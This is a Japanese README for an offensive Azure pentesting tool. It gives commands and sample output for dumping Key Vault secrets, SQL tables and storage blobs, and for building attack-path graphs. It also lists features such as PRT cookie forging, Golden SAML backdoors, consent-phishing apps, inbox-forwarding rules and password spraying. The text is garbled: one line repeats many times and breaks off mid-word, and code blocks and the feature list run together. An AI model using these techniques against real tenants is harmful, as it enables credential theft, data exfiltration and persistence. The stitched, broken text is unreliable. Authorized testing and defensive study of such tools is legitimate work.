- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、```
account acmewebsite — anonymously listable containers: [$web]
SEVERITY CATEGORY TITLE RESOURCE
HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip
MEDIUM blob-anon Container allows anonymous listing $web
MEDIUM blob-anon Historical blob versions anonymously retrievable $web
LOW blob-anon Blob versioning is enabled $web
カスタムコンテナリスト — 組み込みのワードリストを上書きします:```bash ./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'
**カスタム検出パターン** — `--pattern` は大文字小文字を区別しない正規表現を受け取ります
(繰り返し指定可能)。これらは組み込みパターンより先にチェックされ、HIGH としてフラグ付けされるため、
デフォルトの分類よりも優先される可能性があります:```bash
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'
特定のターゲットに関するハードコードされた情報は一切ありません — 組み込みの検出は、漏洩の恐れがあるファイルのクラスに対する一連の正規表現です(Findings を参照)。
資格情報を入手したら、最も重要なワークフローは2つあります。そのIDで何ができるかを理解すること、そしてシークレットに到達することです。
enum access1つのコマンドで答えを集約します。すでにログインしているトークンを使用します:```bash ./azpt enum access
以下をセクションごとに報告します:
- **Identity** — ユーザー/アプリ + オブジェクト ID + テナント(トークンからデコード)
- **Graph delegated scopes / app roles** — どのディレクトリ呼び出しが成功するか
- **Directory roles** — 例: *Global Administrator* がここで目立つ
- **Group memberships** — `/me/memberOf` から
- **Azure RBAC role assignments** — ロール名 + スコープ、サブスクリプションごと
権限が不足しているセクションは、コマンド全体を失敗させるのではなく `NOTES` の下に一覧表示されます。RBAC ロール割り当ては `assignedTo()` フィルターを使用するため、直接割り当てられたものだけでなく、グループ経由で*継承*されたロールも含まれます。
### 攻撃パスグラフ — `scan`
集大成となる `scan` は、ログインしているプリンシパルの**有効な**アクセス権限全体 — グループ、ディレクトリロール、RBAC 割り当て、スコープ、リソース — を列挙し、**BloodHound スタイルの攻撃グラフ**を構築します。価値の高いターゲット(Key Vault、ストレージ、SQL、Web アプリ、VM)にフラグを立て、各ロールをユーザー*またはそれを付与する特定のグループ*に帰属させ、それぞれを悪用するための正確な `azpt` コマンドとともにスコア付きの攻撃パスを導出します。```bash
./azpt scan # text summary: paths ranked by value
./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)
--html 出力は自己完結型のダークテーマのインタラクティブな攻撃マップであり(外部依存なし、完全にオフラインで動作)、すべてのノードを実際の Azure サービスアイコンで描画します。これには以下が含まれます:
メンバーシップ関係(誰がどのグループ/ロールに属するか)は scan --deep でのみ収集され、これによりグループとディレクトリロールのメンバーが追加で列挙されるため、Web アプリがアイデンティティ → グループ → アクセスのチェーンを描画できます:```bash
./azpt scan --deep --html graph.html # slower; enables expanding identities on the graph
- パスをクリックするかクエリを実行すると、そのルートがハイライトされ、それ以外はすべて暗く表示されます。
また、任意のノードをクリックすると、その受信/送信関係の詳細カードが表示されます。
出力テキストの例:```
OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths
[1] score 70 — Customer Database Access on "mbt-finance" → query databases
→ member of group "CUSTOMER-DATABASE-ACCESS"
→ holds "Customer Database Access" on RG content-static-2
→ which contains Azure SQL server "mbt-finance" (query databases)
exploit: azpt sql databases --server <name>
vaultKey Vault はシークレット、キー、証明書を保持します。enum resources (ARM) で
Vault が見えても、データプレーンへのアクセスを意味するわけではありません — その
内容を読み取るには Key Vault アクセスポリシー (Get/List) または Key Vault Secrets
User RBAC ロールが必要です。これがない場合は 403 Forbidden が返されますが、これは有用なシグナルです。```bash
./azpt vault list --vault ext-contractors
./azpt vault get --vault ext-contractors --secret db-connection-string
./azpt vault dump --vault ext-contractors ./azpt --json vault dump --vault ext-contractors > vault-loot.json
`vault list` は各コンテンツタイプを個別に報告するため、シークレットは一覧表示できてもキーはできない Vault でも、自分が *見ることのできる* ものは表示され、どのデータプレーン権限を保持しているかが正確に明らかになります。証明書の秘密鍵は、Key Vault が同名のシークレットを通じて公開するため、`vault get --secret <cert-name>` で取得できることがよくあります。
ソブリンクラウドや特殊なエンドポイントの場合は、`--vault` の代わりに `--vault-url` を渡します。
### Azure SQL — `sql`
Azure SQL データベースを列挙してクエリします。2 つの認証モード:
- **Entra ID トークン** (デフォルト) — 現在の資格情報を使用します。サーバーに Entra ID 管理者がいて、あなたのプリンシパルがマップされたデータベースユーザーである場合に機能します。
- **SQL ログイン** (`--user`/`--password`) — サーバーに Entra ID 管理者が *いない* 場合に必要です (トークンパスで `Login failed ... not currently configured to accept this token` が表示されます)。他の場所で回収した資格情報 — 例えば Key Vault のシークレット — をここで試してください。```bash
# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables --server mbt-finance --database Finance
./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50
# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'
サーバーファイアウォールは、いずれの場合も送信元 IP を許可する必要があります。dump 内のテーブル名は使用前にプレーンな識別子として検証されるため(T-SQL ではパラメータ化できません)、--table を介したインジェクションは不可能です。sql query はデフォルトで読み取り専用です — DROP/DELETE/UPDATE/EXEC/xp_cmdshell およびその他の変更を伴うステートメントは、--allow-write が渡されない限り拒否されるため、許可されたアセスメントが誤ってデータを破壊することはありません。
storage匿名の blob コマンドに対する認証済みのカウンターパート:Entra ID 資格情報(az storage ... --auth-mode login と同等)を使用して、BLOB コンテナ/BLOB および Storage Tables にアクセスします。Storage Blob Data Reader や Storage Table Data Reader などのデータプレーンロールが必要です — enum resources(コントロールプレーン)でアカウントを確認できても、そのロールは付与されません。403 はデータロールが不足していることを意味します。```bash
./azpt storage containers --account custdatabase ./azpt storage blobs --account custdatabase --container backups ./azpt storage download --account custdatabase --container backups --blob db.bacpac -o db.bacpac
./azpt storage tables --account custdatabase ./azpt storage entities --account custdatabase --table customers ./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100
`blob` と `storage`: `blob` は**外部の未認証**攻撃者視点(匿名リスト、バージョン列挙)であり、`storage` は資格情報を保持した後の**認証済み**視点です。異なる脅威モデルであり、両方を含みます。
## 検出結果
検出結果には安定した ID、重大度、証拠、および修復方法が含まれます。説明と修正を含む完全なカタログは [`docs/findings.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/findings.md) にあります。概要:
| ID | 重大度 | 意味 |
| --- | --- | --- |
| `STOR-001` | HIGH | ストレージアカウントが BLOB のパブリック(匿名)アクセスを許可している |
| `STOR-002` | MEDIUM | HTTPS のみの転送が強制されていない |
| `STOR-003` | MEDIUM | 最小 TLS バージョンが 1.2 未満 |
| `STOR-004` | LOW | 共有キー(アカウントキー)アクセスが有効 |
| `STOR-005` | MEDIUM | ストレージがすべてのネットワークから到達可能(ファイアウォールのデフォルト許可) |
| `BLOB-001` | MEDIUM | コンテナが匿名リストを許可している |
| `BLOB-002` | LOW | BLOB バージョニングが有効(履歴が復元可能な場合がある) |
| `BLOB-003` | MEDIUM | 過去の BLOB バージョンが匿名で取得可能 |
| `BLOB-010` | 可変 | 機密ファイルが匿名で公開されている(重大度は分類器による) |
`STOR-*`(認証済み監査)と `BLOB-*`(匿名)は同じコインの裏表です: `STOR-001` は「パブリックアクセスが構成されている」ことを示し、`BLOB-001` は外部から実際にコンテナをリストすることでそれを証明します。
---
## 出力形式
デフォルトでは人間が読める表形式。`jq` やレポートパイプラインへの取り込みに適した構造化出力には、グローバルな `--json` フラグを追加します:```bash
./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json
検出結果はテーブル出力では重大度の高い順にソートされます。
main.go internal/ recon/ unauthenticated outsider recon: realm, tenant, DNS posture, subdomain enum (wildcard-aware), user enum, password spray scan/ attack-path graph builder + self-contained Azure-themed HTML viz azauth/ credential chain, raw token acquisition (ARM + Graph), JWT claims azure/ SDK wrappers: subscriptions, resources, storage audit + data plane (blobs/tables), key vault, RBAC azsql/ Azure SQL client (Entra ID token or SQL login) — query/dump graph/ Microsoft Graph REST client (users, groups, SPs, apps, memberOf) blob/ anonymous Blob REST client (list/versions/download) + secret classifier audit/ pure detection rules over resource views -> findings model/ shared types: Resource, Finding, Severity, Report output/ JSON + human-readable table rendering cli/ cobra command tree, shared bootstrap()
設計原則:
- **検出は I/O から分離されている。** 監査ルールと blob secret
classifier はフラット化されたビューに対する純粋関数であるため、ネットワークアクセスなしで単体テストできる。
- **すべてが `model.Finding` になる。** 認証済みモジュールと匿名モジュールは
同じ型に出力するため、`--json` や将来のレポートはそれらを統一的に扱う。
- **可能な限りデフォルトで匿名。** `blob` クライアントは生の
Blob REST API を話し、認証情報を一切構築しない。
---
## 開発```bash
go build ./... # compile everything
go test ./... # run unit tests (no Azure connection required)
go vet ./... # static checks
gofmt -l . # list files needing formatting (should be empty)
blob クライアントのテストは、実際のリクエスト構築と XML 解析の経路をローカルの httptest サーバーに対して実行します。バージョン列挙、ページネーション、および 403 PublicAccessNotPermitted のケースを含み、実際のストレージアカウントは不要です。
--access-token / AZPT_TOKEN + FOCI リフレッシュ償還enum ca)enum access — トークンスコープ、ディレクトリロール、グループ、RBACMIT License の下でリリースされています。
azpt は攻撃的セキュリティツールであり、認可されたテスト専用です。
所有している、または評価に対する明示的な書面による許可を得ているテナントおよびサブスクリプションに対してのみ使用してください。その使用方法についてはあなたが責任を負います。
detect_docker_tokens — Docker Hub アクセストークンdetect_heroku_keys — Heroku API キーdetect_azure_keys — Azure のストレージキーと接続文字列detect_gcp_keys — GCP サービスアカウントキーdetect_database_urls — 認証情報を含むデータベース接続文字列detect_high_entropy — 高エントロピー文字列(設定可能な閾値)detect_credit_cards — クレジットカード番号(Luhn 検証付き)detect_ssn — 米国社会保障番号detect_emails — メールアドレスdetect_ips — IPv4 および IPv6 アドレスdetect_urls — 認証情報を含む URLdetect_phone_numbers — 国際電話番号blob brute)recon takeover)audit network)audit keyvault/rbac)scan:BloodHound スタイルの攻撃パスグラフ(テキスト + JSON + HTML)。Entra ID(グループ/ロール)と ARM RBAC + リソースを結合--cloud)token decode ユーティリティ(クレーム + wids→ディレクトリロールマッピング)scan 権限昇格グラフに接続recon tenantinfo:フェデレーション / シームレス SSO / オンプレミス同期)enum risky);Intune デバイス列挙 + スクリプトプッシュ RCE(intune)scan --bloodhound)scan における Entra + ARM 権限昇格グラフ(所有 SP/アプリ/グループ → グローバル管理者)--deep)mfa devicecode)scan --audit → Findings タブ)entra update-profile)blob containers --sas)recon users --first --last --domain)enum identities)、Lighthouse 委任、パブリック IPscan --loot ディープスキャン:Function App キー、AKS kubeconfig、LAPS パスワード、BitLocker キー、APIM シークレット、DB ファイアウォールルール、ディスクスナップショット、カスタム RBAC ワイルドカードロール、古い SP 資格情報、Logic App 定義--certificate PFX/PEM)webapp deploy)enum synced)token extract — .azure/msal_token_cache.json からのリフレッシュ + アクセストークン)m365 scan)devops)deploymentScripts RCE、マネージド ID アタッチ付き(arm deploy-script)persistence)k8s — シークレット、サービスアカウント、ポッド、RBAC 権限昇格列挙、非対話型ポッド exec、サービスアカウントトークン発行)k8s pivot-azure)enum kql)+ 単一クエリの資産一覧(enum resources --fast)harvest):az CLI(accessTokens.json、azureProfile.json、service_principal_entries.json、MSAL キャッシュ)および Az PowerShell(AzureRmContext.json、Windows 上の DPAPI TokenCache.dat)prt):PRT + セッションキーからの KDF v2 x-ms-RefreshTokenCredential SSO クッキー偽造、完全な nonce→cookie→authorize→token チェーン;ホスト上の BrowserCore.exe 抽出(Windows)device register):DRS 不正デバイス参加 → デバイス証明書/キー(PRT の前提条件、デバイスベース CA バイパス、永続化)federation):マネージド→フェデレーテッドバックドア(ConvertTo-AADIntBackdoor)+ Golden SAML 偽造 & SAML ベアラ償還(独立実装に対して検証された XML-DSig)entra phish-app):マルチテナントアプリ + 同意 URL + ローカルリプライ URL トークンキャッチャー(Invoke-InjectOAuthApp)m365 rules):Graph messageRules 経由のサイレント受信トレイ転送ルールscan dump/scan query):完全なディレクトリ + 攻撃グラフを純粋な Go SQLite(modernc.org/sqlite)に格納、13 の定型分析ビューprt extract)、AD Connect 同期資格情報ダンプ(adconnect sync-creds)、DPAPI(CryptUnprotectData)— ビルドタグ付き、Windows 以外ではノーオペレーションのガイダンスprt request:登録済みデバイスから実際の PRT を取得(デバイス登録 → KDF v2 クッキーを連鎖)